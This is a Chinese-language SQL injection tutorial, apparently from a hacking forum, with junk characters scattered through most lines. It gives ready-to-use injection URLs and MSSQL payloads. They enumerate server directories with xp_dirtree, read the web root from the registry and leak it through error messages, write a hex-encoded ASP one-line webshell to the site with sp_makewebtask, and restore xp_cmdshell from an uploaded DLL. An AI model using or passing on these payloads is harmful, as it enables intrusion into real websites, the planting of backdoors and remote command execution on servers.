好,我们exec master..xp_dirtree'd:/test'3 X9 N& S6 t9 C6 @$ g. c0 A4 P
假设我们在test里有两个文件夹test1和test2在test1里又有test3. ]! S* s% L* s- l- e% C. |
结果显示" W6 d8 k/ l9 i. V8 j/ N
& D' W* Y# D* d& M" Zsubdirectory depth
$ A+ m6 @& T$ X+ d& ?/ ?; A, i- vtest1 1
2 Y3 h. Y9 m" V) V- r* @test3 2$ I# j w" a. T4 R# w" l& e! f
test2 1% d8 Q) ]' C+ I2 [8 c }4 l
0 B; [4 U, _* i* P# @7 J哈哈发现没有那个depth就是目录的级数
; a, e+ r! z% v- t; D" O7 m8 Kok了,知道怎么办了吧
5 p' t+ z! d2 M4 [
% Z2 l& }! E" q$ @% l0 J! P4 O) ahttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- 3 x6 K$ R( n, d* i; ~- r" p
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- % r- p7 R; |( R9 s/ s
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-/ {) D4 ^" D" ~ ^% ?# [# z: r
, T. o) y! p( U. ^( w只要加上id=1,就是第一级目录 。' Q' l% f0 l. Y2 \5 A
& P- T, P( D J5 Z" W! u2 {$ S! o* x
+ X2 M' O5 D3 ~; \通过注册表读网站路径:
- ]$ r' S- ?- M: `8 |6 j6 b( J/ s8 I+ l+ Y: ^
1.;create table [dbo].[cyfd] ([gyfd][char](255));, R# I- S0 U% a7 {* a
" q2 I& {; s0 x v, Y2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
" G! e9 }& I* N: P+ D# h7 R' g! t8 Nid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--7 a9 t r* U3 w" n: x
5 |, r* O" i. { B1 q
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
9 X/ e, @1 U% r- o# I3 k5 `and 1=(select count(*) from cyfd where gyfd > 1)
9 l$ s. K9 c3 j3 c* |. [# R w. _这样IE报错,就把刚才插进去的Web路径的值报出来了$ t$ J( g, w7 V0 s9 ^6 I
; W) s& N# S \+ c4.drop table cyfd;-- 删除临时表' l4 D. K: C1 q7 U; i# ]
2 s% z/ B t' M5 z c
获得webshell方法:
( o# x) J2 I3 Q: h0 g _* o3 X1.create table cmd (a image)-- \**cmd是创建的临时表
) _3 O* ^: ]- P( m3 B
7 b5 x# g3 \ J6 y2 O! d2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
; e" r. t0 ?/ a) ~# H* i8 n8 x$ D; L4 q9 P
( [! D" n' |6 k% [1 g. U7 \) w a3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
+ }0 @5 F" E0 S! {4 TEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'+ k+ ~4 l; W0 R- J& R
: h. u6 P1 D1 ^5 s3 L
4.drop table cmd;-- 删除cmd临时表
! O* l0 V) }9 J5 w7 Z" b: y: F4 x; Q% L( K; N7 k$ ^/ P
恢复xp_cmdshell方法之一:
- ~, c' k3 s6 {8 }我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
\* a8 {7 Z( Q3 O" J# t, Ghttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
( Z0 O6 e3 ^, q恢复,支持绝对路径的恢复哦。:)
1 j8 K8 z! B w4 L+ Y# ? |